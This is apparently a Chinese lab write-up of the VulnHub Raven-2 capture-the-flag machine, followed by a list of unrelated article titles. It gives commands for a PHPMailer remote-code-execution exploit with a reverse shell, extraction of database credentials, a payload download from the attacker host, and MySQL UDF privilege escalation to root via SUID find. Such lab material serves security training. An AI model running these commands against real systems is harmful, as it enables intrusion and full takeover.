一、准备工作

kali和靶机都选择NAT模式(kali与靶机同网段)

1.靶场环境

下载链接:Raven: 2 ~ VulnHub

2.kali的ip

命令:ifconfig

3.靶机的ip

扫描靶机ip

sudo arp-scan -l

二、信息收集

1.nmap的信息收集

(1)扫描靶机开放的端口及其服务

nmap -A 192.168.101.128

2.网站的信息收集

(1)靶机开放了80端口,先访问靶机网站看看有什么有用的信息

访问靶机网站,没有发现什么信息

(2)dirb扫描靶机网站

dirb http://192.168.101.128

1)发现dirb扫描到的网站除了一个wordpress其他都是文件目录,可能存在文件目录浏览漏洞

2)对目录文件进行排查,在vendor目录下的PATH文件里找到了第一个flag

3)在vendor目录下的README.md里面看到了PHPMailer(一个功能齐全的PHP电子邮件创建和传输类)

4)在VERSION目录文件中得知PHPMailer版本号为5.2.16

知识点:PHPMailer < 5.2.18版本存在安全漏洞,可使未经身份验证的远程攻击者在Web服务器用户上下文中执行任意代码,远程控制目标web应用

三、漏洞发现及利用

(1)searchsploit命令搜索到可利用的漏洞

searchsploit PHPMailer

1)将相关的脚本文件拷贝

cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./

2)修改脚本内容

vim 40974.py

:wq

3)在攻击机kali终端开启监听端口4444

nc -lvvp 4444

4)运行脚本

python 40974.py

如果报错执行下面的命令

pip install requests-toolbelt

编码问题就在第一行脚本里面添加

#! /usr/bin/python3$

# -*- coding: utf-8 -*-$

如果两个都不行尝试一下下面的命令

python3 40974.py

我这里提示是说未声明编码,所以在脚本第一行添加

原来是我的python是python3

5)先访问 http://192.168.101.128:80/contact.php,就会生成后门文件 shell1.php,再访问 http://192.168.101.128/shell1.php,就成功反弹了一个shell到攻击机上

6)看看kali那边情况,成功监听

四、提权

1.优化命令执行终端,执行下面命令进入python交互式(注意要下载python环境才能运行):

python -c 'import pty; pty.spawn("/bin/bash");'

2.寻找flag文件

find ./ -name flag*

3.查看刚才寻找到的flag2文件

cat /var/www/flag2.txt

4.flag3为图片,网站下查看

http://192.168.101.128/wordpress/wp-content/uploads/2018/11/flag3.png

5. 查看mysql的config配置文件

cd /var/www/html/wordpress

ls -al

cat wp-config.php

6.发现了网站的mysql数据库,数据库的账号密码root:R@v3nSecurity

mysql -u root -pR@v3nSecurity

7.mysql

1)查看数据库

show databases;

2)在kali终端查找脚本

searchsploit 1518.c

3)脚本下载到靶机

1.复制脚本

cp /usr/share/exploitdb/exploits/linux/local/1518.c .

2.gcc 编译、运行

gcc -g -shared -o x7.so 1518.c -lc

3.kali开启http服务

python -m SimpleHTTPServer

4.靶机下载脚本

cd /tmp

wget http://192.168.101.10:8000/x7.so

ls

4)进入数据库创建数据表 foo,向表中插入二进制数据,然后利用dumpfile函数把文件导出, 再新建存储函数do_system类型是integer,别名(soname)文件名字

mysql -u root -pR@v3nSecurity

use mysql;

create table foo(line blob);

insert into foo values(load_file('/tmp/x7.so'));

select * from foo into dumpfile '/usr/lib/mysql/plugin/x7.so';

create function do_system returns integer soname 'x7.so';

select * from mysql.func;

5)通过do_system函数给find命令所有者的suid权限,使其可以执行root权限的命令

select do_system('chmod u+s /usr/bin/find');

exit

8.提权

find / -exec "/bin/sh" \;

1)flag4

cd /root

cat flag4.txt

靶场练习第二十五天~vulnhub靶场之Raven-2相关推荐

  1. 靶场练习第十四天~vulnhub靶场之dc-6

    一.准备工作 kali和靶机都选择NAT模式(kali与靶机同网段) 1.靶场环境 下载链接: 百度网盘 请输入提取码 提取码: bazx 2.kali的ip 命令:ifconfig 3.靶机的ip ...

  2. 计算机三级网络技术题库第15套,计算机等级考试理论试题第二十五套

    1.十进制数 141 转换成无符号二进制数是______. A.10011101 B.10001011 C.10001100 D.10001101 2.当前计算机感染病毒的可能途径之一是______. ...

  3. 第二十五章补充内容 3 assert()宏

    //第二十五章补充内容 3 assert()宏 //有的编译器还提供了assert()宏,这个宏在许多书中被翻译为断言,它的作用是当assert()的参数为真时,返回真,假如参数值为假,那么它将执行某 ...

  4. Python编程基础:第二十五节 args参数*args

    第二十五节 args参数*args 前言 实践 前言 我们目前学习到的函数的参数个数都是固定的,那么我们是否可以指定任意多个参数呢?其实是可以的,这里就用到了args参数,它可以将用户指定的任意多个参 ...

  5. 25 linux ndk 头文件_正点原子Linux第二十五章RTC实时时钟实验

    1)资料下载:点击资料即可下载 2)对正点原子Linux感兴趣的同学可以加群讨论:935446741 3)关注正点原子公众号,获取最新资料更新 第二十五章RTC实时时钟实验 实时时钟是很常用的一个外设 ...

  6. 鸟哥的Linux私房菜(基础篇)- 第二十五章、 Linux 备份策略

    第二十五章. Linux备份策略 最近升级日期:2009/09/18 万一不幸你的 Linux 被黑客入侵了.或是你的 Linux 系统由於硬件关系 (不论是天灾还是人祸) 而挂掉了!这个时候,请问如 ...

  7. 第二十五章补充内容 5 不能为0的变量

    // 第二十五章补充内容 5 不能为0的变量 /*#define DEBUG #include <iostream> #include <string> using names ...

  8. 求二叉树高度_LeetCode刷题——第二十五天(平衡二叉树)

    这段时间跟二叉树杠上了,接下来还有许多二叉树的题目,虽然已经做了不少了,大多题目都涉及到了递归,也挺好,刚好有机会练习一下递归,但是遇到新的题目还是有点力不从心,还需要看参考答案,真希望有一天像汤神一 ...

  9. 第二十五章:重新吃上饭的李恪

    第二十五章:重新吃上饭的李恪 可能李丽质永远都不会忘记了自己饿肚子饿了很久以来的第一顿饭吧. 吃的非常的香,吃完这顿饭以后,李丽质开始也参与到了洗皮衣的过程中,不过由于他个子比较小,所以只能做一些简单 ...

最新文章

  1. maven项目添加文件夹报错
  2. 运维基础(9)Linux性能调优三大系统
  3. map原理 java_RxJava的基本原理以及Map,flatMap的原理
  4. 炫界 (667) -(回应骑两小)_为什么那么多人喜欢骑地平线
  5. 文石服务器维护,文石BOOX OS 2.0新系统即将上线,联合京东读书推出BOOX书城
  6. 95-847-044-源码-Netty-NettyClient创建
  7. PyQt5 GUI Programming With Python 3.6 (一)
  8. java代码生成apk_android – 如何通过java代码以编程方式生成apk文件
  9. Windows PowerShell初体验——.NET对象支持
  10. 12个Java实践项目:练完变学神
  11. 13、TCP Socket与UDP Socket
  12. 飞思卡尔16位单片机(三)——GPIO输出功能测试
  13. 1.javascript 自动定时刷新网页脚本
  14. 9种 『MySQL数据库』优化的正确姿势
  15. win10打不开图片,文件系统错误 (-2147219196)修复的方法
  16. 蓝桥杯 算法训练 合集1 C++
  17. java 实现鼠标移动事件
  18. 什么是好人,什么是坏人,你有标准答案吗
  19. 有衬线字体 无衬线字体_衬线或不衬线
  20. IBM磁盘阵列配置教程

热门文章

  1. 目录爆破工具 -- dirsearch
  2. mysql 字符集测试_MySQL多字符集备份恢复测试
  3. 用js来实现那些数据结构12(散列表)
  4. 《React源码解析》系列完结!
  5. 关于css透明度的问题
  6. SDHelper module加密系统解密
  7. jenkins-基础配置
  8. python学习日记(匿名函数)
  9. SpringFox swagger2 and SpringFox swagger2 UI 接口文档生成与查看
  10. 【看番杂感】Clannad系列观后感(剧透慎入)